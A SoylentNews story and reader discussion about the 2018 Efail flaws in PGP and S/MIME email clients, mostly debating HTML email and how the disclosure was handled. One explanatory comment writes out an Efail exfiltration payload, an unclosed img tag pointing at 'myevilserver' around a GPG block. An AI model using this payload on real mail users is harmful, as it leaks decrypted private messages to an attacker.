Stories
Slash Boxes
Comments

SoylentNews is people

Breaking News
posted by takyon on Monday May 14 2018, @07:55AM   Printer-friendly
from the pretty-grotesque-problem dept.

Ars Technica is reporting that there are critical PGP and S/MIME bugs which can reveal encrypted e-mails. Their advice is to uninstall the plugins, for the time being. More information will be released tomorrow (Tuesday at 07:00 UTC, 3:00 AM EDT, midnight PDT).

Little is publicly known about the flaws at the moment. Both Schinzel and the EFF blog post said they will be disclosed late Monday night California time in a paper written by a team of European security researchers. Schinzel's Twitter messages used the hashtag #efail, a possible indication of the name the researchers have given to their exploit.

The EFF also published a warning, Attention PGP Users: New Vulnerabilities Require You To Take Action Now:

A group of European security researchers have released a warning about a set of vulnerabilities affecting users of PGP and S/MIME. EFF has been in communication with the research team, and can confirm that these vulnerabilities pose an immediate risk to those using these tools for email communication, including the potential exposure of the contents of past messages.

The full details will be published in a paper on Tuesday at 07:00 AM UTC (3:00 AM Eastern, midnight Pacific). In order to reduce the short-term risk, we and the researchers have agreed to warn the wider PGP user community in advance of its full publication.

The EFF also gives additional advice on disabling PGP in Thunderbird with Enigmail as well as other mail and mail-like clients.

takyon: The embargo is broken and the full details, including the paper (PDF), have been published.


Original Submission #1Original Submission #2

Related Stories

Efail: A Postmortem 7 comments

https://medium.com/@cipherpunk/efail-a-postmortem-4bef2cea4c08

https://admin.hostpoint.ch/pipermail/enigmail-users_enigmail.net/2018-May/004995.html

Writing just for himself -- not for GnuPG and not for Enigmail and definitely not for his employer -- Robert J Hansen, an Enigmail developer and GnuPG volunteer, put together a postmortem on Efail:

Less than a week ago, some researchers in Europe published a paper with the bombshell title "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels." There were a lot of researchers on that team but in the hours after release Sebastian Schinzel took the point on Twitter for the group.

Oh, my, did the email crypto world blow up. The following are some thoughts that have benefited from a few days for things to settle.

They say that when there's a fire in a nightclub you're at more risk of dying from the stampede than the blaze. The panic kills both by crushing people underfoot, and by clogging the exits so that people have to stay in the club longer and breathe more hot smoke-filled air. The fire is a problem but the panic is worse. That's what we saw here, and frankly I place a lot of blame for that at the feet of the Electronic Frontier Foundation.

Previously: PGP and S/MIME Vulnerable, Take Action Now (Update: Embargo Broken)


Original Submission

This discussion has been archived. No new comments can be posted.
Display Options Threshold/Breakthrough Mark All as Read Mark All as Unread
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
(1)
  • (Score: 2) by c0lo on Monday May 14 2018, @08:10AM (4 children)

    by c0lo (156) Subscriber Badge on Monday May 14 2018, @08:10AM (#679475) Journal

    The lesson of clear, simple solutions to complex problems: ROT13 never failed me.

    (grin)

    --
    https://www.youtube.com/watch?v=aoFiw2jMy-0 https://soylentnews.org/~MichaelDavidCrawford
    • (Score: 2) by takyon on Monday May 14 2018, @08:20AM (3 children)

      by takyon (881) <reversethis-{gro ... s} {ta} {noykat}> on Monday May 14 2018, @08:20AM (#679481) Journal

      Vs gur plcuregrkg pna or qrpelcgrq, vg'f jbexvat nf vagraqrq.

      (hcfvqr qbja teva)

      --
      [SIG] 10/28/2017: Soylent Upgrade v14 [soylentnews.org]
      • (Score: 1, Funny) by Anonymous Coward on Monday May 14 2018, @08:25AM (1 child)

        by Anonymous Coward on Monday May 14 2018, @08:25AM (#679482)

        No, sorry, I can't decrypt that. I reckon your message is safe.

        • (Score: 0) by Anonymous Coward on Monday May 14 2018, @05:05PM

          by Anonymous Coward on Monday May 14 2018, @05:05PM (#679643)

          I think I've got it decrypted! It reads: Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn.

      • (Score: 0) by Anonymous Coward on Monday May 14 2018, @06:32PM

        by Anonymous Coward on Monday May 14 2018, @06:32PM (#679705)

        Ur ftq okbtqdfqjf omz nq pqodkbfqp, uf'e iadwuzs me uzfqzpqp.
        (gbeupq paiz sduz)

  • (Score: 5, Informative) by canopic jug on Monday May 14 2018, @08:17AM (11 children)

    by canopic jug (3949) Subscriber Badge on Monday May 14 2018, @08:17AM (#679478) Journal

    Werner Koch has posted a brief message on the GnuPG User's mailing list: Efail or OpenPGP is safer than S/MIME [gnupg.org]. Apparently they were not even contacted by the bug hunters, so the situation is starting to smell a little. Since the developers were not contacted maybe the embargo is being used to nail down the right trademarks, domain names, and logos for a Named Bug. It may boil down to yet another reminder that sending around web pages and pretending that they are e-mail is still a stupid idea. However, unless someone breaks embargo or figures out the problem independently we'll have to wait until Tuesday.

    --
    Money is not free speech. Elections should not be auctions.
    • (Score: 5, Insightful) by Apparition on Monday May 14 2018, @08:50AM (3 children)

      by Apparition (6835) on Monday May 14 2018, @08:50AM (#679490) Journal

      HTML e-mail: Continuing to ruin e-mail since the early 2000s.

      • (Score: 5, Insightful) by Anonymous Coward on Monday May 14 2018, @02:06PM (1 child)

        by Anonymous Coward on Monday May 14 2018, @02:06PM (#679570)

        If you think email encryption is essential for you, yet you enable HTML emails, there is something SERIOUSLY wrong with your thinking.
        The HTML and MIME parsing of email clients is so full of crap, you've already thrown a lot of security by enabling it.
        Sure, encrypting email will still be better than not (especially since it WILL leave evidence of the attack, so you can't have someone mass-sniff you), but the problem is HTML email. The other problem is the utter carelessness with which email clients handle HTML email. There should be no scripts, not external links, no nothing enabled by default.
        And the people sending HTML email with no plain-text fallback should be burned at a stake...

        • (Score: 0) by Anonymous Coward on Monday May 14 2018, @04:27PM

          by Anonymous Coward on Monday May 14 2018, @04:27PM (#679620)

          And the people sending HTML email should be burned at a stake...

          There, fixed that for you....

      • (Score: 2) by DannyB on Monday May 14 2018, @04:38PM

        by DannyB (5839) Subscriber Badge on Monday May 14 2018, @04:38PM (#679628) Journal

        HTML e-mail isn't the problem. The real problem is with e-mail clients. We need e-mail clients to automatically run any executable attachments as soon as the e-mail arrives in the inbox. No need to wait until the e-mail is read. That way any e-mail attacks can be mitigated by an executable attachment, sent by the attacker, which protects from the attack.

        --
        People today are educated enough to repeat what they are taught but not to question what they are taught.
    • (Score: 4, Informative) by takyon on Monday May 14 2018, @08:56AM (4 children)

      by takyon (881) <reversethis-{gro ... s} {ta} {noykat}> on Monday May 14 2018, @08:56AM (#679492) Journal

      http://seclists.org/oss-sec/2018/q2/104 [seclists.org]

      GnuPG has posted a tweet ( https://twitter.com/gnupg/status/995931083584757760 [twitter.com] ) indicating it's likely a vulnerability in mail clients themselves and not in the protocol, and which is related to HTML mail handling.

      The vulnerabilities apparently enable an attacker to decrypt previous mails, but my (wild) guess is that the attack actually requests decryption from the mail client (which has access to the private key), rather than by actually decrypting itself.

      --
      [SIG] 10/28/2017: Soylent Upgrade v14 [soylentnews.org]
      • (Score: 1) by adun on Monday May 14 2018, @10:16AM

        by adun (6928) on Monday May 14 2018, @10:16AM (#679507)

        > GnuPG has posted a tweet (https://twitter.com/gnupg/status/995931083584757760)
        indicating it's likely a vulnerability in mail clients themselves and not in
        the protocol, and which is related to HTML mail handling.

        Given how flaky, say, KMail is (I *really* tried to like it post-KDE 3.5, and *really* failed), I wouldn't be surprised. Same with Enigmail.

      • (Score: 4, Insightful) by Runaway1956 on Monday May 14 2018, @11:42AM (2 children)

        by Runaway1956 (2926) Subscriber Badge on Monday May 14 2018, @11:42AM (#679527) Journal

        On the first page, we find

        End-to-end encryption
        is designed
        to protect user data
        in such scenarios. With end-to-end encryption, the email
        infrastructure becomes merely a transportation service
        for opaque email data and no compromise – aside from
        the endpoints of sender or receiver – should affect the
        security of an end-to-end encrypted email.

        Second page, I'm reading how these manipulations work - and they do REQUIRE that some application that interacts with the internet contact $server.

        So, yes - it's a flaw in the client, not in PGP. If you never set your mail client up to decrypt stuff, then the client isn't going to do anything with your encrypted material.

        I've not yet found that an encrypted file, created directly with PGP, then mailed as an attachment, can be manipulated. Still reading . . .

        n the email context, both S/MIME and PGP use hybrid encryption, in which the sender generates a random ses-sion key that is used to symmetrically encrypt the mes-
        sage into a cipher text

        Again, the fault seems to be in the mail client. It isn't using PGP or S/mime - it is using some hybrid encryption scheme. And, yet again,

        Email clients may additionally request other information, for example, to validate the status of a cryptographic certifi-cate. We will refer to all these channels as
        backchan-nels because they can interact with possibly attacker-controlled servers

        There is more, but everything seems to point to the mail client being exploited, rather than the encryption itself.

        My take is, if you encrypt a file, then forward it by some means, the file is probably safe. If, however, you allow an internet connected application to do your encryption, that application can be tricked in a number of ways to interact with a malicious third party, who can then read your encrypted data. A workaround might be to encrypt your file first, using one set of keys - then use your encrypted mail client to send that file as an attachment.

        Or, another method might be to encrypt your file, then put it on an FTP server.

        The old *nix thing: Do one thing, and do it well. The more things that you ask your browser to do, the less secure it will be. (Face it - most people's email client is their web browser.)

        • (Score: 2) by takyon on Monday May 14 2018, @11:53AM

          by takyon (881) <reversethis-{gro ... s} {ta} {noykat}> on Monday May 14 2018, @11:53AM (#679533) Journal

          Yup. EFF's vague hype of this was annoying.

          --
          [SIG] 10/28/2017: Soylent Upgrade v14 [soylentnews.org]
        • (Score: 2) by pvanhoof on Monday May 14 2018, @02:55PM

          by pvanhoof (4638) on Monday May 14 2018, @02:55PM (#679585) Homepage

          Face it - most people's email client is their web browser.

          Which in a security sensitive environment is a bad idea. As suddenly you are exposing an enormous amount of locally running HTML rendering code to input provided to you by a possibly malicious actor.

          On top of that is your web browser rarely going to show the E-mails in so called offline mode. Most MUA's have a feature called "Load remote images" or something similar. This will load IMG tags that have images that are not embedded in the E-mail. It usually gets implemented by putting the whole HTML rendering component in offline mode.

          A MUA that is configured for a seriously secure environment will simply not render any HTML. You use the text/plain MIME part and if that way the E-mail ain't readable then the E-mail is for your spam folder.

    • (Score: 0) by Anonymous Coward on Monday May 14 2018, @10:23AM (1 child)

      by Anonymous Coward on Monday May 14 2018, @10:23AM (#679509)

      It may boil down to yet another reminder that sending around web pages and pretending that they are e-mail is still a stupid idea.

      Since this also affects PGP, and your comment blames HTML email, are you implying that PGP cannot properly encrypt HTML?

  • (Score: 3, Interesting) by Anonymous Coward on Monday May 14 2018, @08:18AM (6 children)

    by Anonymous Coward on Monday May 14 2018, @08:18AM (#679480)

    Take these for example:

    We have "top" reading .toprc from the current directory, then applying a vulnerable parser. We have mmap of a FUSE filesystem object over top of argv causing /proc/PID/cmdline access to hang. We have processes using inotify to evade detection, doing a fork/exit as /proc is scanned. We have Unicode /proc/PID/cmdline causing ps to crash. We can even cause a heap overflow via a broken allocator.

    Nearly every x86 OS just got hit by a goof involving the SS register. Changing it suspends debug exceptions for an instruction, which could be one that enters the kernel and changes privilege level. The sysenter and syscall instructions can be lots of fun.

    Remember that spectre isn't gone.

    Another fine one is throwhammer, a remote version of rowhammer. That one will be loads of fun.

    Oh well. Pwned you are.

    • (Score: 2) by kazzie on Monday May 14 2018, @08:26AM (5 children)

      by kazzie (5309) Subscriber Badge on Monday May 14 2018, @08:26AM (#679483)

      Another fine one is throwhammer

      Sponsored by Thor?

      • (Score: 5, Funny) by c0lo on Monday May 14 2018, @08:32AM (4 children)

        by c0lo (156) Subscriber Badge on Monday May 14 2018, @08:32AM (#679486) Journal

        No, Thor sponsors .onihon.
        Throwhammer is sponsored by Loki, hoping you will believe it is sponsored by Thor.

        --
        https://www.youtube.com/watch?v=aoFiw2jMy-0 https://soylentnews.org/~MichaelDavidCrawford
        • (Score: 3, Interesting) by kazzie on Monday May 14 2018, @01:49PM

          by kazzie (5309) Subscriber Badge on Monday May 14 2018, @01:49PM (#679562)

          And tangentially (now that the embargo's broken and we know the vulnerability's name):

          "yr efail" is the Welsh for "the smithy", where hammers feature prominently.

        • (Score: 2) by DannyB on Monday May 14 2018, @04:32PM (2 children)

          by DannyB (5839) Subscriber Badge on Monday May 14 2018, @04:32PM (#679624) Journal

          Forget Thor's hammer. I want Captain America's shield made of Vibranium!

          Now which element is that on the periodic table ?

          --
          People today are educated enough to repeat what they are taught but not to question what they are taught.
          • (Score: 2) by c0lo on Monday May 14 2018, @04:45PM (1 child)

            by c0lo (156) Subscriber Badge on Monday May 14 2018, @04:45PM (#679633) Journal

            Forget Thor's hammer. I want Captain America's shield made of Vibranium!

            You want a vibrathor instead of the Real Thing™?

            --
            https://www.youtube.com/watch?v=aoFiw2jMy-0 https://soylentnews.org/~MichaelDavidCrawford
            • (Score: 2) by DannyB on Monday May 14 2018, @06:24PM

              by DannyB (5839) Subscriber Badge on Monday May 14 2018, @06:24PM (#679701) Journal

              I had to google that word. Now, I'm still not completely clear on what your question is.

              --
              People today are educated enough to repeat what they are taught but not to question what they are taught.
  • (Score: 5, Insightful) by bradley13 on Monday May 14 2018, @08:58AM (3 children)

    by bradley13 (3053) on Monday May 14 2018, @08:58AM (#679493) Homepage Journal

    I have the GPG plugin installed. I've actually used it twice to send email, but I don't believe I have ever received a GPG encrypted email. Meanwhile, on my normal email chains, the plugin makes a mess: creating encrypted draft messages that are never used, but also never deleted, which clutters things up.

    We have Signal for messaging - completely transparent, easy to use, and apparently pretty secure. Meanwhile, email is still send unencrypted, because the encryption solutions are such a pain. We should have end-to-end email encryption 20 years ago. Why, WHY is this so hard?

    --
    Everyone is somebody else's weirdo.
    • (Score: 2, Insightful) by Anonymous Coward on Monday May 14 2018, @01:13PM (2 children)

      by Anonymous Coward on Monday May 14 2018, @01:13PM (#679550)
      • Most people just don't care about security or privacy; certainly, the proles don't care. Humans are social creatures, and thus gravitate towards working on solutions that will provide the greatest recognition from their peers.

      • Certain infrastructure projects, such as email software, are inherently thankless; you know your solution is working well when nobody has to think about it. The result is that only fucking hackers (in the old sense) write this stuff (and they write for a laugh with their buddies), and so we've built our world on piles of hand-crafted parts held together with the digital equivalent of gum and duct-tape.

        Everybody is complaining about email in HTML, but it's actually a very smart thing, and if you write multi-part MIME emails by hand, you can make really clean, beautiful stuff. Yet, most people aren't writing these things by hand; they're instead using some quick hack that produces total trash.

      • (Score: 2) by pvanhoof on Monday May 14 2018, @01:49PM (1 child)

        by pvanhoof (4638) on Monday May 14 2018, @01:49PM (#679563) Homepage

        Yet, most people aren't writing these things by hand; they're instead using some quick hack that produces total trash.

        You mean Outlook, right?

        • (Score: 0) by Anonymous Coward on Monday May 14 2018, @02:51PM

          by Anonymous Coward on Monday May 14 2018, @02:51PM (#679581)

          I know Microsoft programmers who are the creme-de-la-creme. They couldn't possibly give a flying fuck about the technical quality of their work; it's just a job, man—impress the PMs, and then go rock climbing. They're hacks.

  • (Score: 4, Informative) by takyon on Monday May 14 2018, @10:07AM (6 children)

    by takyon (881) <reversethis-{gro ... s} {ta} {noykat}> on Monday May 14 2018, @10:07AM (#679506) Journal
    --
    [SIG] 10/28/2017: Soylent Upgrade v14 [soylentnews.org]
    • (Score: 0) by Anonymous Coward on Monday May 14 2018, @10:33AM (2 children)

      by Anonymous Coward on Monday May 14 2018, @10:33AM (#679512)

      The "Direct Exfiltration" attack require the email client to have "download remote images" enabled. Does anyone who uses PGP have that enabled?

      • (Score: 2) by Runaway1956 on Monday May 14 2018, @11:48AM (1 child)

        by Runaway1956 (2926) Subscriber Badge on Monday May 14 2018, @11:48AM (#679529) Journal

        The PDF indicates that these options may have been properly set, upon installation. But, manipulation of an email can change those settings. You open the email, the email enables the downloads first, then proceeds to perform it's other nefarious acts - and you are screwed. The only thing that is going to save you is, if your client forces a confirmation window, because you're not going to see the permissions change.

        • (Score: 0) by Anonymous Coward on Monday May 14 2018, @07:01PM

          by Anonymous Coward on Monday May 14 2018, @07:01PM (#679719)

          Um, no. This does not change application settings.

          By placing a plaintext block with an img tag without a closing quote for the href attribute, then a block with encrypted text, then a plaintext block closes the rest of the img tag, it creates a URL containing the decrypted text.

    • (Score: 3, Informative) by canopic jug on Monday May 14 2018, @01:05PM (2 children)

      by canopic jug (3949) Subscriber Badge on Monday May 14 2018, @01:05PM (#679548) Journal

      And GnuPG has issued a press statement as well. It is An Official Statement on New Claimed Vulnerabilities [gnupg.org]. Overall this incident appears to be just another Named Bug and was handled poorly by those in the know, especially the EFF.

      --
      Money is not free speech. Elections should not be auctions.
      • (Score: 4, Insightful) by pvanhoof on Monday May 14 2018, @01:38PM (1 child)

        by pvanhoof (4638) on Monday May 14 2018, @01:38PM (#679559) Homepage

        Also see my other response.

        > 1. This paper is misnamed.

        Indeed

        > 2. This attack targets buggy email clients.

        Exactly

        > 3. The authors made a list of buggy email clients.

        Well said.

        The MUA should not allow *any* utilization of HTTP when rendering a HTML E-mail. Any form of doing that is a serious mistake. Not only because of what is reported here, but also because that way *that* use of HTTP will allow spammers to identify when you open the E-mail. They use that to know if your E-mail adres is still alive.

        Serious MUAs don't do this without user consent. Most HTML components even have a explicit offline mode exactly or that reason. Meaning that they won't automatically go online and fetch things like the src url of an IMG.

        Any MUA that does this without user consent is completely and utterly wrong. Especially in a security sensitive context. This is something most MUA developers know about and if not, should know.

        Disclaimer: I was once enslaved to work on a MUA too. The one for N9, N900, 810 and N800. Luckily Nokia paid me well to deal with fscking MIME being screwed over by E-mails created by a monopolist's MUA.

        Anyway. From what I can tell: stop blaming OpenPGP and stop using a MUA written by morons. In security sensitive context you most likely want to disable HTML because the MUA developers will simply use a off the shelve HTML component. Which implies, basically, WebKit or whatever the OS comes with (which could be Internet Explorer or Edge's HTML components). You don't want to unleash all the bugs of the browser on the MUA when in a security sensitive context. Those nation state actors know about those bugs in the HTML components, of course.

        • (Score: 2) by FatPhil on Friday May 25 2018, @01:48PM

          by FatPhil (863) <pc-soylentNO@SPAMasdf.fi> on Friday May 25 2018, @01:48PM (#684004) Homepage
          > I was once enslaved to work on a MUA too. The one for N9, N900, 810 and N800.

          Hey - don't forget Columbus and Dali! (I was kernel team n900..lauta)

          > The MUA should not allow *any* utilization of HTTP when rendering a HTML E-mail.

          One problem with your no-HTTP-while-HTML-ing absolute, which I entirely agree with from a my-own-use-of-mail (dumb console clients only, somewhat predictably) is that embedding external content is kinda expected. Teh peoples want to link to a youtube vid and have the thumbnail/screenshot visually embedded in the mail, and the video playable in-place (or worse, auto-playing in place), all without having to jump though hoops grabbing a local (mime embedded) copy of the screenshot. This is alas a feature, and the easiest way of implementing it is to run off to a remote site at render time. Convenience is the enemy of security and privacy yet again.

          The widest insideous HTTP-within-HTML tracking instance I've seen that everyone seems to think is just fine is when collaboration tools (Github/Jira/etc.) that send emails intended purely for internal viewing but which contain external gravatar img src's. Presumably only for unset geometric avatars, but still they are things that identify the individuals participating in a particular discussion - even if my client doesn't fetch these images, everyone else's clients will be fetching the image that corresponds to me.

          Also another issue with email privacy is that if you're Nokia, don't pay Microsoft to handle *all* of your internal mail (even patches sent for review within our team in NRC ended up bouncing off an MS server in Amsterdam). The trojan horse story is deeper than just one man. It was a proper inside job!
          --
          Great minds discuss ideas; average minds discuss events; small minds discuss people; the smallest discuss themselves
  • (Score: 2) by pvanhoof on Monday May 14 2018, @01:20PM (1 child)

    by pvanhoof (4638) on Monday May 14 2018, @01:20PM (#679553) Homepage

    The problem is mostly in the MUA. The MUA needs to deal with an HTML E-mail containing active content (content for which it needs to fetch something over for example HTTP). A MUA should not do this in the first place. Images should for example never be loaded over HTTP. If they aren't embedded in the E-mail, the MUA shouldn't load the images without user consent (and should ask this each and every time). This is quite standard in MUA's to protect you against spammers who'd otherwise identify your E-mail address that way as being one that is in use and being read by a human being.

    Basically disable HTML E-mails whenever you need end to end encryption. Which people in security senstive context should have done anyway, given a HTML browser component is way too complicated to trust in that kind of environment. Other possible backchannels in email clients are all bugs in the MUA, too.

    Don't use a MUA written by morons. And yes, letting the MUA use any HTTP connection without consent of the user is in a security sensitive environment moronic.

    Disclaimer: I worked on the E-mail client for the N900, N9, 810 and N800. Noting that that doesn't mean that we didn't have any security mistakes (like that) back then.

    • (Score: 2) by HiThere on Monday May 14 2018, @05:46PM

      by HiThere (866) Subscriber Badge on Monday May 14 2018, @05:46PM (#679666) Journal

      It's not just that HTML renderers are too complex to trust, it's worse. HTML is designed to link stuff together non-locally. This is totally absurd in a secure context. Yes, there are HTML subsets that should be usable, but they aren't large subsets.

      It's an interesting idea, and someone should design a renderer for a secure subset of HTML, but you'd need a different form of packaging. Say only allow links to things within the same archive. That would let you use most of an existing HTML base, but still be secure. And if you unpackage the archive you could read it with a normal HTML browser.

      --
      Javascript is what you use to allow unknown third parties to run software you have no idea about on your computer.
  • (Score: 2, Insightful) by Anonymous Coward on Monday May 14 2018, @01:36PM (6 children)

    by Anonymous Coward on Monday May 14 2018, @01:36PM (#679558)

    Thunderbird will not load remote content by default. You have to explicitly ask it to do so. Since the exploit relies on loading a remote image with a url containing your plaintext, thunderbird will not fail you here.

    • (Score: 0) by Anonymous Coward on Monday May 14 2018, @02:31PM (1 child)

      by Anonymous Coward on Monday May 14 2018, @02:31PM (#679574)

      the exploit relies on loading a remote image with a url containing your plaintext

      Thank you for giving a nice, easy to understand, once sentence description of the issue. It amazes me that no one, not even the summary nor editor, were able to simply summarize the issue.

      • (Score: 4, Insightful) by choose another one on Monday May 14 2018, @03:05PM

        by choose another one (515) Subscriber Badge on Monday May 14 2018, @03:05PM (#679591)

        > It amazes me that no one, not even the summary nor editor, were able to simply summarize the issue.

        That simple summary relies on information not publicly known at the time of the submission or the editing.

        Editor would have required a time machine to be able to simply summarize the issue, and if you have a time machine any encryption is probably moot anyway.

    • (Score: 2) by Apparition on Monday May 14 2018, @04:04PM (3 children)

      by Apparition (6835) on Monday May 14 2018, @04:04PM (#679611) Journal

      Uhh... According to this chart [imgur.com], Thunderbird gets owned by EFAIL pretty hard.

      • (Score: 0) by Anonymous Coward on Monday May 14 2018, @05:33PM (2 children)

        by Anonymous Coward on Monday May 14 2018, @05:33PM (#679658)

        Then whoever created the chart does not understand the bug, or is just fearmongering. Thunderbird will not load external resources by default. The bug only works if you load an external resource. Therefore, Thunderbird is not vulnerable.

        Exploit example given:

        <img src="http://myevilserver/
        ---BEGIN GPG MESSAGE---
        ---END GPG MESSAGE---
        ">

        You get the above in the mail, with the html inserted by Mallory. Enigmail automatically decrypts the message and you end up with an img url:

        <img src="http://myevilserver/secret%20meeting%209pm">

        If Thunderbird were then to load this image, and it will do so only if you tell it to, then Mallory's evilserver will get a request containing your secret meeting details. It is understandable, of course, that some people would give permission to load the image when they see nothing in the body of the email except a broken image placeholder. You might also say that the bug creates a broken email that appears to be authenticated, so the user may decide that his friend actually intended to send him an image, rather than text. In either case, the plaintext is not leaked automatically, but only as a result of explicitly clicking on "Allow" button and selecting "myevilserver" as allowed. The fact that many people would do this does not make Thunderbird or Enigmail directly vulnerable any more than normal phishing attacks in a plaintext email.

        • (Score: 2) by HiThere on Monday May 14 2018, @05:50PM (1 child)

          by HiThere (866) Subscriber Badge on Monday May 14 2018, @05:50PM (#679668) Journal

          Are you sure? My copy of Thunderbird doesn't load remote images by default, but I set it up a long time ago, and re-install have used the same preferences. I'm rather sure that when I set it up I explicitly told it not to load remote images, and that this required changing a default setting. Of course, that was over a decade ago now, so the defaults may have changed.

          --
          Javascript is what you use to allow unknown third parties to run software you have no idea about on your computer.
          • (Score: 0) by Anonymous Coward on Monday May 14 2018, @06:28PM

            by Anonymous Coward on Monday May 14 2018, @06:28PM (#679703)

            See https://support.mozilla.org/en-US/kb/remote-content-in-messages [mozilla.org]

            By default, Thunderbird blocks, and does not download, remote content so that the sender does not get any information about you. Instead, it displays a notification bar with the message To protect your privacy, Thunderbird has blocked remote content in this message.

  • (Score: -1, Offtopic) by Anonymous Coward on Monday May 14 2018, @02:18PM

    by Anonymous Coward on Monday May 14 2018, @02:18PM (#679572)

    *runs for the hills*

  • (Score: 0) by Anonymous Coward on Monday May 14 2018, @04:14PM (2 children)

    by Anonymous Coward on Monday May 14 2018, @04:14PM (#679616)

    These attacks have little to do with PGP and everything to do with poorly coded mail clients.

    I feel better about my choice to use Claws-Mail and Alpine exclusively every day!

    • (Score: 2) by DannyB on Monday May 14 2018, @06:39PM (1 child)

      by DannyB (5839) Subscriber Badge on Monday May 14 2018, @06:39PM (#679712) Journal

      I bet it is not ONLY poorly coded mail clients.

      I bet it is coding them in the wrong languages. Too close to the bare metal. Like C. Not at a high enough level of abstraction. So your every thought never strays far from char arrays, and null terminated strings, and memory management.

      Rather than thinking at a high level. The MIME parser returns three sections. The first section is Html, so pass it to the Html parser library -- oh, it returns an error about an unclosed string.

      --
      People today are educated enough to repeat what they are taught but not to question what they are taught.
      • (Score: 0) by Anonymous Coward on Monday May 14 2018, @07:26PM

        by Anonymous Coward on Monday May 14 2018, @07:26PM (#679730)

        Not sure if you're going for sarcasm there. It's possible to write shit code in every language no matter how close to the metal or how far away. A language can have great syntactic sugar, but if the programmer doesn't have a decent idea what the equivalent C99 code would look like and all the edge cases and boundary conditions the syntactic sugar takes care of, sooner or later they're going to program themselves into a world of shit.

  • (Score: 2) by Azuma Hazuki on Monday May 14 2018, @07:50PM (1 child)

    by Azuma Hazuki (5086) on Monday May 14 2018, @07:50PM (#679741) Journal

    What does this do to text email clients like Mutt and Pine, which read mail the way the good goddess Madokami intended?

    --
    I am "that girl" your mother warned you about...
    • (Score: 2) by termigator on Monday May 14 2018, @09:41PM

      by termigator (4271) on Monday May 14 2018, @09:41PM (#679790)

      Likely unaffected. Add nmh to that list.

      One aspect the exploit takes advantage of is the stupidity that the GUI-based MUAs handle multipart MIME messages: concatenating each part together instead of treat each part as its own displayable entity. If doing the latter, which is what one should do, then the HTML parts, before and after the encrypted part, would be malformed HTML, and not render correctly.

      I am 100% for disabling HTML in email, but if you are going to render it, each entity should be rendered in its own context and not by concatenating the resulting parts into a single entity to render in a single context. Since most modern GUI MUAs "reuse" HTML rendering engines, the iframe construct could have been leveraged provide separate rendering contexts for each entity, preventing the concatenation exploit.

      It appears to me what the core problem is programmer laziness: Not understanding the standards correctly and taking shortcuts in rendering data.

  • (Score: 0) by Anonymous Coward on Monday May 14 2018, @11:03PM

    by Anonymous Coward on Monday May 14 2018, @11:03PM (#679811)

    Lunacy! It's would be like me acknowledging that someone could kick in my door and rob my stuff, so I would just remove the doors outright.

(1)